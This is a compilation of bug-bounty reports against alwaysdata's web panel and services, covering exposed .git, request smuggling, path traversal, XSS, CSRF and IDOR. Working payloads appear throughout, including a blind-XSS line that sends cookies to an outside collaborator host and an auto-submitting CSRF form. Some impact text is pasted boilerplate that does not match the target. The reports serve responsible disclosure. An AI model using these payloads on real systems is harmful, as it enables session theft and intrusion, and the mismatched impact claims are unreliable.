Security vulnerabilities

Executive summary:
The .git directory on https://security.alwaysdata.com is publicly accessible. .git/HEAD and .git/config return repository metadata (remote origin). This can allow repository reconstruction and full source code disclosure.

Reporter IP: 192.168.1.17
Custom header used: X-Bug-Bounty: Hacker-sam123

Proof-of-Concept (minimal, non-destructive):
1) curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/HEAD

1. > HTTP/2 200 … body: "ref: refs/heads/master"

2) curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/config

1. > returns config (screenshot attached) showing remote origin.

I performed only minimal reads to prove exposure. I DID NOT download .git/objects or reconstruct the repository in compliance with program rules.

Impact:
Public .git exposure may allow extraction of source code, commit history, and potentially hard-coded secrets — critical confidentiality risk.

Suggested fix:
- Immediately deny HTTP access to .git (examples: Apache/Nginx rules).
- Remove .git from webroot or deploy built artifacts instead.
- Rotate any exposed secrets if found.

1. curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/HEAD 2. curl -i -H "X-Bug-Bounty: Hacker-sam123" https://security.alwaysdata.com/.git/config

#Client-Side Desync Http Request Smuggling in https://admin.alwaysdata.com/site/resolver/

Severity(Critical)

Hello Team, I hope you are doing well. While, Researching in your domain, I found Client-side desync in https://admin.alwaysdata.com/site/resolver/ vulnerability in your domain.

#Steps to Reproduce:

1. Go to https://admin.alwaysdata.com/site/resolver/ and Capture the request in Burp.
2. Paste the code to perform Client-side desync ( Code is Below):

POST /site/resolver/ HTTP/1.1
Host: admin.alwaysdata.com
Cookie: csrftoken=; mtm_consent=; roundcube_sessid=*; roundcube_sessauth=*; django_language=fr; sessionid= Content-Type: text/plain
Content-Length: 104
Transfer-Encoding: chunked

0

GET /en/ HTTP/1.1
Host: www.alwaysdata.com Content-Type: text/plain

{
"addresses":["<script>alert(1)</script>"
]

}

3. Run this Request and you can see 2 Responses occurs.
4. Send this Request multiple time and see it's Caching the request( Screenshot attached Below).

#Video is attached below for confirming Client-Side Desync Http Request Smuggling

# Impacts of client-side desync:

Inject malicious scripts: Smuggle a request that injects a malicious script into a victim's session.

Hijack the session: Use the injected script to steal the victim's session cookie, allowing the attacker to impersonate the victim.

Force authenticated actions: The attacker can compel the victim's browser to perform unauthorized actions on their behalf.

Web cache poisoning
If the vulnerable endpoint involves a web cache, a CSD can be leveraged to poison it.

Redirect users: An attacker could poison the cache to redirect users to a malicious site, potentially leading to phishing or other scams.

Sensitive information disclosure
A CSD can force a victim's browser to send a request that leaks sensitive information, such as their session cookies

Denial of service (DoS)
Overwhelming a server with malformed or inconsistent requests can cause it to become unstable or unresponsive, leading to a denial-of-service condition.

Thank You,

Waleed Anwar

Reporter: Li Xian (otterlysecure)
Date: 22 Sep 2025 (UTC+8)
Asset: Hosting control panel → virtual host configuration for any domain

Summary

The hosting control panel accepts unvalidated paths for a site’s Root directory and writes them directly into the Apache vhost DocumentRoot. By setting DocumentRoot to /, an attacker can publish arbitrary world-readable files from the server filesystem to the internet (e.g., /etc/passwd, /etc/hosts) under the attacker’s domain. This is a tenant isolation bypass and information disclosure vulnerability.

Severity Rating: High

CVSS v3.1 (proposed): 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Impact

Unauthenticated internet users can read any world-readable file on the server via the affected domain, exposing system configuration, service versions, and other sensitive information that materially aids further attacks.

Violates tenant isolation in principle: if any tenant or system component stores world-readable artifacts (logs, backups, static assets), these can be served publicly by another tenant’s vhost.

Expands attack surface for privilege escalation and targeted exploitation.

Affected Functionality

Hosting control panel “Root directory” setting for websites (Apache vhost generation).

Apache evaluates the resulting DocumentRoot without confinement to the account home.

Technical Details / Root Cause

User-supplied paths are written verbatim into Apache config. Example (observed vhost):

<VirtualHost *>

ServerName otterlysecure.alwaysdata.net
DocumentRoot "/home/otterlysecure/../../../../../../"
<Location />
  AddHandler fcgid-script .php
  FcgidWrapper "/usr/bin/env /usr/bin/php-cgi" .php
</Location>

</VirtualHost>

Because ../../.. is not canonicalized or constrained, the vhost can be pointed to any filesystem path (including /).

Proof of Concept (PoC)

In the control panel, set Root directory to:

../../../../..// (via path traversal)

Request world-readable system files via my domain:
curl -i https://otterlysecure.alwaysdata.net/etc/hosts curl -i https://otterlysecure.alwaysdata.net/etc/passwd

Observed results:

HTTP/200 with contents of /etc/hosts and /etc/passwd.

Reset Root directory back to a safe path under my home after testing.

Notes on scope/ethics

I accessed only system files (/etc/hosts, /etc/passwd) sufficient to demonstrate impact.

I did not attempt to access other tenants’ data or private directories.

Why this matters even if some paths 403

Reading /etc/* proves arbitrary file read of world-readable files over the public web. Current 403s on some directories (e.g., /home) are incidental to Unix permissions/overrides and do not mitigate the core design flaw (unconfined DocumentRoot).

Timeline

2025-09-22: Discovered and verified impact (read /etc/hosts, /etc/passwd over HTTPS via my domain).

2025-09-22: Report submitted.

Please see attachments.

Credits / Contact

Reporter: Li Xian

Preferred contact: lixianchai-ywh-fd1a7856643e0e35@yeswehack.ninja

Severity
P3 – Medium

Product / Area
Account Management / Shared Permissions / Email Management (domain selection when creating a Mailbox)

Summary
A previously reported issue was observed again (Report ID: [203], and it was marked as Fixed on [28/8/2025]). The issue is that an invited user who has not enabled two-factor authentication (2FA) can view the domains of another subscription when attempting to create a Mailbox from their personal account. This behavior reflects a failure to enforce the 2FA requirement and constitutes information disclosure.

This issue was re-observed on 15/09/2025.

Steps to Reproduce:

1. Create a subscription account in Alwaysdata and add a domain.

2. Create another user account (subscription).

3. From the main account, add this user as an Administrator with full permissions.

4. Enable the requirement for 2FA before access.

5. From the secondary account (the other user), attempt to add a Mailbox.

6. The domain list will display, including the main account’s domain, even though the user has not enabled 2FA.

POC: https://admin.alwaysdata.com/support/89183/

(Regression):

The vulnerability was originally reported and marked as Fixed.

Its reappearance means the fix was bypassed.

#Attacker Can Access Webmail.alwaysdata.com without validating account in admin.alwaysdata.com

Hello Team,

I hope you are doing well. I found Attacker Can Access Wemail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Steps to Reproduce:

1.Go to https://www.alwaysdata.com/en/marketplace/ and install any application you want.
2.Fill the form then submit the request.
3.Then go to webmail.alwaysdata.com to put your address and password in which you had submitted in Step 2.
4.You can see that attacker can login in webmail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Impact:

Attacker can use victim email to create an account and then use the address to login in webmail.alwaysdata.com. Attacker send fake emails and phishing email to someone as a behalf of a victim.

Thank You,

Waleed Anwar

Description:- The vulnerability being demonstrated is Blind Cross-Site Scripting (Blind XSS), a subset of stored XSS, where an attacker injects a malicious script (like an SVG onload payload) that is stored by the application and executed in a different context—usually when viewed by an unsuspecting party, such as an administrator or support user.

Payload:- car’”?><svg/onload=“fetch(’https://adr0y18zp382qw4i8tqpvsj3eukl8gw5.oastify.com?cookie='+document.cookie)">%22%3E) —> see it shows the hyperlink to click by any support assitance employ it would leak the ip of internal organization and attacker can perform the DDOS or access to internal data by endpoints.

Blind XSS: This occurs when the injected payload is stored and only triggers execution out-of-band (not in the attacker’s immediate session), typically when accessed or rendered by someone else, such as through an admin dashboard or email notification.

The payload (<svg/onload=…>) abuses SVG tags to execute JavaScript, exfiltrating sensitive data like cookies to an external domain controlled by the attacker.

Impact;- The script executes when the comment is rendered, sending the victim’s IP address and cookie to the attacker’s Burp Collaborator or a similar endpoint, as observed in Burp Suite.

Because the attacker does not immediately see the results, but instead receives a callback containing the stolen data, this is specifically termed “blind” XSS.

Video link :- https://drive.google.com/file/d/10N9lspffD9loJaEQMxoK0ikdWoDwU9Xc/view?usp=sharing

Hello Team,

CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing.

CSRF HTML Code:

  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://www.alwaysdata.com/en/contact/" method="POST">
      <input type="hidden" name="address" value="************" />
      <input type="hidden" name="name" value="janam" />
      <input type="hidden" name="number" value="**************" />
      <input type="hidden" name="slot" value="" />
      <input type="hidden" name="message" value="hello" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState(', '', '/');
      document.forms[0].submit();
    </script>
  </body>

There is a csrfmiddleware but when i was removing and sending the request to autenticated user its working and submitting the request.

Thank You,

Waleed Anwar

Hello there,

i found an XSS vulnerability affecting "addresses" JSON parameter in a POST request to admin.alwaysdata.com/site/resolver.
i have to apologies I didn't get around including a custom header before i found the bug, I'm hopeful this will be overlooked on my part
my POC Is attached below pretty neet and straightforward and includes my IP as requested in POC guidelines. cheers.

:)

IDOR-Lead To Any Account Deletion
Description:

There is a logic flaw in the permissions system. When a user is deleted through the /permissions/[id]/delete/ endpoint, the system does not properly check if the requester is allowed to delete that specific user.

By intercepting the request and changing the id value, a user can delete the Any Account by their Id

Steps to Reproduce:

1. Create a new accounts on alwaysdata with the following email:

`attacker1@gmail.com`

(Account A) 

`attacker2@gmail.com`
 (Account B)

 `Victim1@gmail.com`
 (Victim Account )

2. Go to:

`https://admin.alwaysdata.com/permissions/`
3. Add a second (Account B) as a team member/user:

`attacker2@gmail.com`
4. As Account A (attacker1@gmail.com), go to the Permissions panel again.

5. You will (see Account B) listed and a “delete” button next to it.

6. Use Burp Suite to intercept the deletion request for Account B, for example:

POST /permissions/402834/delete/

7. Modify the ID in the request to match Victim Account’s ID (e.g.,402812 ):

8.Send the modified request. (It will succeed)

Impact:

An attacker can exploit an IDOR vulnerability to delete any Account

Loss of access for the original owner

Loss of Availability (DoS against users):

An attacker can delete arbitrary user accounts, causing permanent or temporary loss of access. This results in a denial-of-service for targeted users or even large sets of users if automated.

Loss of Data Integrity:
Deleting an account typically removes associated personal information, preferences, content, or transaction history. This leads to irrecoverable data loss.

Escalation of Attacks:
Attackers could target privileged users (e.g., admins, moderators, or paying customers), deleting their accounts to gain an advantage or disrupt business operations.

Reputation & Trust Impact:
Users may lose trust in the platform if their accounts or data can be deleted by malicious actors without authorization.

Severity:Critical
CWE: CWE-639: Authorization Bypass Through User-Controlled Key

CVSS v3.1 Example Score:

Attack Vector: Network (N)

Attack Complexity: Low (L)

Privileges Required: Low (L) or None (N) depending on auth state

User Interaction: None (N)

Scope: Changed (C) if admins or high-privilege accounts are impacted

Confidentiality: Low (L)

Integrity: High (H)

Availability: High (H)
→ Base Score: ~8.5–9.1 (High/Critical)

Hello Team

I hope you are doing well. While Researching in your domain, I found csrftoken not unique to session or specific user and csrfmiddlewaretoken can be altered issue in https://admin.alwaysdata.com

Steps to Reproduce:

1: A post request will be sent /api/tokens/delete/302 or /api/tokens/delete/some_number and i see in burp that in the cookie's header csrftoken = vhHMjvtks3jwGkHikbY48d5gQR76yvPA and i see in the params sent that csrfmiddlewaretoken= 8b9QkWMZgnqohp9R77Tu4m46PQW0YZRwtiGsth59ygzKNzGZh8Ho2pZcvxTWmkwW

what i noticed is that changing csrfmiddlewaretoken's value to csrftoken 's value will still make the request work..
ie setting csrfmiddlewaretoken = vhHMjvtks3jwGkHikbY48d5gQR76yvPA will still let the request work.

2: I noticed that the csrftoken sent in requests is not unique to the session id or user logged , meaning if im logged in as user1 and have csrftoken=x then i can login as user2 and send the request with csrftoken=x and csrfmiddlewaretoken=x and it will work!

what does this mean?

3.this means csrfmiddlewaretoken does not really add another layer of protection, i can easily change it the csrftoken stored in the cookie and it will still work

4. given a valid csrftoken from any user (for example csrftoken=c7wq7XJaQq71Eump3tVwNJpOSHLbiqSC), its possible to create a csrf request that sends the POST /api/tokens/delete/index request (where index can be enumerated ) with this valid csrftoken being sent as the csrfmiddlewaretoken value and with
X-CSRF-Token set also as the valid csrf token as well and it will work and we can manage to delete user api tokens through csrf exploit( for example clicking on a website that sends such request).

Note:

First account user csrftoken can be used to remove second account api token.

Thank You,

Waleed Anwar

#Description:
During testing, I found that the TOTP code verification does not properly validate the expiry window. Even after waiting for the OTP to expire (30s), I was still able to use the expired code to perform sensitive actions like updating my profile.

#Impact:

Replay attack possible using previously used OTPs.

Weakens 2FA mechanism.

May allow attackers to bypass intended security checks.

#Steps to Reproduce:

Enable 2FA on account.

Generate OTP via authenticator app.

Wait for 30 seconds until OTP expires.

Submit the expired OTP.

Server still processes the action (profile updated).

#Expected Behavior:
The expired OTP should be rejected.

#Actual Behavior:
Expired OTP is accepted.

# HTTP Parameter Pollution Lead to Crash the Website of admin.alwaysdata.com:

Hello Sir, I hope you are doing well. While, Researching on your domain, I found HTTP Parameter Pollution Lead to Crash the Website of admin.alwaysdata.com.

Steps to Reproduce:

1. Login into admin.alwaysdata.com.
2. Go to https://admin.alwaysdata.com/search/?q=1.
3. Input &q= after q=1
4. Input long string which is attached below in the report.
5. You can see that Chrome are crashed and not responding.

Impact:

When attacker can send this https://admin.alwaysdata.com/search/?q=1&q=longstring to any authenticated user, his/her browser was crashed for long time.

#Note:

Tested in Chrome, Mozilla and Microsoft Edge.

Thank You,

Waleed Anwar

Description:

There is a logic flaw in the permissions system. When a user is deleted through the /permissions/[id]/delete/ endpoint, the system does not properly check if the requester is allowed to delete that specific user.

By intercepting the request and changing the id value, a user can delete the main admin — even if they don't have permission to do so. This can lead to full account takeover if the attacker had added themselves earlier as a user

Steps to Reproduce:

1. Create a new account on alwaysdata with the following email:

 `ebrahimmagdy517@gmail.com`  

 (will be referred to as the **primary account** / Account A)

2. Inside the admin panel, go to:

 `https://admin.alwaysdata.com/permissions/`

3. Add a second email address as a team member/user:

 `testhackers663@gmail.com`  
 (will be referred to as (secondary account) / Account B)

4. Accept the invitation and activate Account B via the link received in email.

5. As Account A (ebrahimmagdy517@gmail.com), go to the Permissions panel again.

6. You will (see Account B) listed and a “delete” button next to it.

 However, you **cannot delete Account A (yourself)** — which is expected.

7. Use Burp Suite to intercept the deletion request for Account B, for example:

POST /permissions/402834/delete/

8. Modify the ID in the request to match Account A’s ID (e.g.,402812 ):

9.Send the modified request. (It will succeed), even though you are trying to delete the owner of the project

10. As a result:
- Account A is no longer part of the project and has lost access.
- Account B now fully controls the project/domain (`aqaqwq.alwaysdata.net`) including settings, databases, and any hosted files.

Impact:

An attacker can exploit an IDOR vulnerability to delete the main admin account by modifying the user ID in a delete request. This leads to:

  Full account and domain takeover

  Loss of access for the original owner

  Complete control over data, settings, and services

If an attacker gains temporary access to the admin’s email, they can add their own account, then remove the real owner — resulting in a critical security breach

Recommendation:

- Implement strict access control checks on the `/permissions/[id]/delete/` endpoint.
- Deny deletion requests for project owners, regardless of ID manipulation.
- Ensure server-side validation enforces user role & permissions.
- Consider using UUIDs or scoped IDs instead of numeric incremental IDs for more secure object references.

Proof of Concept (Video):

https://drive.google.com/file/d/1XMGLchHjj1Wl6EsgRPUZeniTexVCTJsb/view?usp=drive_link

Severity:Critical

Bug Theory
Server Security Misconfiguration happens when an app exposes sensitive functionality without proper controls. In this case, the platform allowed account deletion without any password confirmation, which is a clear misstep in authentication logic.

Even though the user is logged in, critical actions like deleting an account should always require re-authentication to prevent abuse via stolen sessions, CSRF, or insider misuse.

Step
Navigated to the Account Settings after logging in as a regular user.
Clicked on “Delete Account”.
✅ Expected : The application should prompt the user to re-enter their account password, or at least send an OTP/email confirmation before deleting the account.
❌ ActualThe account was deleted instantly without any verification — just a single click and the user data was gone.

That’s it. No alerts. No hesitation.

Business Context Impact
Because this platform is used to coordinate offline car transactions, accounts are tied to:

Active car listings
Buyer/seller chat history
Scheduled meetings or test drives
Deleting an account disrupts the entire transaction process, damages user trust, and may result in financial losses or wasted in-person efforts.

#Attacker Can Force to Stop Victim to Forget their Account Password in admin.alwaysdata.com.

Hello Sir, I hope you are doing well. While, Researching on your domain, I found Attacker Can Force to Stop Victim to Forget their Account Password in admin.alwaysdata.com.

Steps to Reproduce:

1. Go to https://www.alwaysdata.com/en/register/ for Signup.
2. Input Meow.bow+evil@domain.com.Burp Collab and then input password and click on submit to register your account.
3. Verify this account and after login and then logout from the account.
4. Register another account in https://www.alwaysdata.com/en/register/.
5. Input Meow.bow+evil1@domain.com.Burp Collab and then input password and click on submit to register your 2nd account.

6.After that verify your 2nd account in admin.alwaysdata.com.
7.Registering two account in admin.alwaysdata.com and then go to https://admin.alwaysdata.com/password/lost/ to forget their account.

8. Input first and second account email to forget their password but you can see that when you click on reset button it should say that email doesn't have account register.

Impact:

When victim register their account with email Meow.bow+evil@domain.com.Burp Collab and attacker know victim email then he/she can use abuse email Meow.bow+evil1@domain.com.Burp Collab to register the account, If victim forget their password and victim want to forget their password with https://admin.alwaysdata.com/password/lost/, victim lost their account can can't forget their account.

#Note:

Try to remove symbols in email to prevent from this.

Thank You,

Waleed Anwar

Description
Reflected cross-site scripting (or XSS) arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

Impact
It was observed that the web app was vulnerable to reflect based xss attack due to improper input validation.An attacker can steal a user’s cookies and download malware on their system, and many more attacking scenarios a skilled attacker can perform with XSS. E.g.: • Cookie stealing with Session hijacking • Malicious code injection • Advance phishing page with iframe technique • Stored XSS to Remote Code Execution

Recommendation
To remedy XSS vulnerabilities, it is important to never use untrusted or unfiltered data within the code of an HTML page. Filtering of untrusted data typically involves converting special characters to their HTML entity encoded counterparts (however, other methods do exist, see references). These special characters include: * `&` * `<` * `>` * `'` * `'` * `/`

Step 1: go to this url https://admin.alwaysdata.com/support/add/ step 2: the we going vulnerable parameter "Other participants" input field input the "><script>alert(document.domain)</script> then submit the from after that got XSS popup

Dear alwaysdata security Team,

My name is Vedant Tanaji Vhatkar. I’ve identified two critical vulnerabilities in your account system that may severely compromise user security and platform trust.

Observed Behavior: User accounts can be deleted without requiring password re-entry, SMS, email confirmation, or any second form of identity validation.

Steps to Reproduce:

Log into a valid user session.
Navigate to account deletion option.
Trigger deletion without further verification.
Account is deleted immediately or queued for deletion, with no challenge mechanism.
Impact (Attacker’s Perspective):

Attacker can delete accounts instantly after session hijack — no password or re-verification needed.
Account deletion erases forensic logs and obscures evidence of compromise.
Users lose access to warranties, devices, purchase history — often irreversibly.
Automated bots could mass-delete accounts, causing serious platform damage.
No confirmation step = silent victimization and loss of customer trust.
Recommendations:

Enforce password re-entry and multi-factor authentication for deletion.
Introduce a deletion grace period and notify users via email or SMS.
Log and alert users of deletion attempts across all devices

Video poc :https://drive.google.com/file/d/1pORDqY43T-GedPP_avOvlCqzU2MrM9AQ/view?usp=drive_link

Description:
An insecure account deletion vulnerability has been identified on the AlwaysData admin platform. The application allows account deletion without requiring re-authentication or password confirmation, which can lead to unauthorized account deletion on shared or public devices.

Exploit Scenario:

A legitimate user logs into their AlwaysData admin account on a shared device (e.g., library, internet café, or office).

The user accidentally leaves the session open without logging out.

An attacker accesses the session and navigates to the following URL:
https://admin.alwaysdata.com/admin/details/

The attacker clicks "Delete this profile".

The system allows the deletion of the user account without requiring password re-entry or secondary confirmation, leading to account loss.

Steps to Reproduce:

Log in to your admin account at: https://admin.alwaysdata.com/

Navigate to: https://admin.alwaysdata.com/admin/details/

Click on the "Delete this profile" button.

Observe that no password or identity confirmation is required to proceed with account deletion.

Security Impact:
This lack of re-authentication introduces a critical security risk, especially on shared or publicly accessible machines. It allows any unauthorized person with temporary access to the session to delete the account permanently.

Recommended Mitigation:
Implement a re-authentication mechanism before executing sensitive actions like account deletion. This should include:

Prompting the user to re-enter their password.

Validating a session token or sending a secondary confirmation email/code.

This ensures that only an authenticated and intended user can perform account deletion.

Description:
A stored XSS vulnerability exists in the support ticket submission functionality of the AlwaysData admin panel. An attacker can upload a specially crafted file (xss.poc) as an attachment while submitting a new ticket. When the ticket is submitted and the attached file is later opened by a staff member or user, malicious JavaScript embedded in the file is executed in their browser context.

This vulnerability allows attackers to perform actions such as stealing session cookies, executing arbitrary actions as the victim, or performing phishing attacks from within the trusted domain.

Steps to Reproduce:
Navigate to:
https://admin.alwaysdata.com/support/add/

Fill out the New Ticket form:

Title: Test XSS Ticket

Message: Please see the attached file.

Attach the malicious file xss.poc:

Submit the ticket.

After submission, navigate to the Support section and view the created ticket.

Click on the uploaded xss.poc attachment.

Result: A JavaScript alert box with the message XSS is triggered, confirming that the script executed in the browser.

Impact:
Arbitrary JavaScript execution in a user or admin context.

Session hijacking

Credential theft

Phishing within trusted domain

Full compromise of account integrity if an admin account is exploited

Recommendations:
Sanitize and validate all uploaded files both client-side and server-side.

Do not render or parse user-uploaded files as HTML or SVG content directly in the browser.

Use proper Content-Disposition headers to force downloads:

Affected Users:
All users or administrators who open ticket attachments through the admin panel.

The password reset endpoint on admin.alwaysdata.com lacks rate limiting, allowing an attacker to flood a user’s inbox with hundreds or thousands of password reset emails in a short time.

I was able to generate 500+ emails within 30 minutes using Burp Community Edition. An attacker using Burp Pro or custom tools could easily escalate this to thousands of emails in seconds, causing email service abuse, financial impact, and potential denial of service for legitimate users.

This vulnerability could damage the company’s reputation, lead to increased email costs, and affect email delivery reliability for all users.

PoC and screenshot included in the attached PDF report.

Subject: Responsible Disclosure: phpMyAdmin Credentials Leak on Dark Web – alwaysdata.com

**How We Discovered**

Potential Impact

Blind SSRF

attachment: https://admin.alwaysdata.com/support/87908/

This is a pre-account takeover vulnerability caused by a logic flaw that results in any unregistered email address being locked and rendered inaccessible. This issue directly impacts system availability.

attachment : https://admin.alwaysdata.com/support/87907

While performing reconnaissance on your platform, I discovered an endpoint (or publicly accessible resource) that exposes sensitive customer data. This data includes personal information that should not be publicly accessible and poses a serious risk to user privacy and your organization's data security posture.

https://admin.alwaysdata.com/support/87906/ this link contains the bug report

Summary:
When using the email outbound logs filters in the Alwaysdata admin panel, the CSRF token (csrfmiddlewaretoken) is included as a GET parameter in the URL. This token is supposed to be secret and strictly bound to the user session and to a specific request context. More critically, this token is reusable and can be used with different requests and endpoints, which allows an attacker who obtains it to perform multiple state-changing actions on behalf of the victim without requiring any further user interaction.

Steps to Reproduce:

1. Log in to your Alwaysdata admin panel.

2. Navigate to Emails → Outbound Logs.

3. Apply any filter (e.g., by date or keyword).

4. Observe that the URL now contains a parameter such as: csrfmiddlewaretoken=XXXXXXXXXXXX

5. Copy this URL. You will notice that the token remains valid and can be reused for different requests.

Impact:
Information Disclosure: The CSRF token is exposed in browser history, logs, and potentially leaked via the Referer header when the victim visits external websites afterward.
CSRF Exploitation: Since the token is reusable, an attacker can use it to craft malicious requests (delete, modify, send, etc.) and execute them on behalf of the victim, leading to potential account takeover or severe unwanted actions.

Recommendation:
Completely remove the CSRF token from URL parameters. Pass the CSRF token only as a hidden form field or in a custom HTTP header (e.g., X-CSRFToken). Mark tokens as single-use and ensure they expire after each action.

POC: https://admin.alwaysdata.com/support/87905/